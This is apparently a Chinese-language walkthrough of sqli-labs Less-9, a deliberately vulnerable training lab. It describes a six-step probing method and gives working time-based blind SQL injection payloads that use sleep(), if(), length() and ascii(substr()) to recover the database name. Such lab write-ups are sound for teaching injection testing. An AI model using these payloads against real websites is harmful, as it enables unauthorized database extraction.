1、访问首页,/Less-9/index.php?id=1,这里的传参点是id
探测六步
- 判断是否是数字形传参
- 判断是否有单引号闭合
- 判断是否是双引号闭合
- 判断是否单引号+括号闭合
- 判断是否是双引号+括号闭合
如果以上都不适:哪以上规则都同时加上sleep测试一遍,看是不是存在延时注入
http://192.168.60.142:8080/sqlilabs/Less-9/index.php?id=1
' and sleep(10)-- qwe
分析:通过测试,这里是通过单引号闭合,同时使用延时注入才生效,哪么在以后SQL注入探测时,当前面5步都没效果时,应当同时使用前面5步加上延时涵数判断是否属于延时注入类型。
2、使用 if 判断涵数+sleep猜解数据库长度
if(条件1,表达式1,表达式2) ,当条件1成立时,执行表达式1,否则执行表达式2,哪这里就可以写成 if(length(database())=8,sleep(10),)
http://192.168.60.142:8080/sqlilabs/Less-9/index.php?id=1
' and if(length(database())=8,sleep(10),1)-- qwe
通过上面语句可以猜解出数据库长度为8,我们也可以采用同样的方式去爆破库名,同第8关一样,只是把语句放到if中来执行再观察是否产生了延迟效果。
http://192.168.60.142:8080/sqlilabs/Less-9/index.php?id=1
' and if(ascii(substr(database(),1,1))=115,sleep(10),1)-- qwe
后续爆表名等就不一一测试了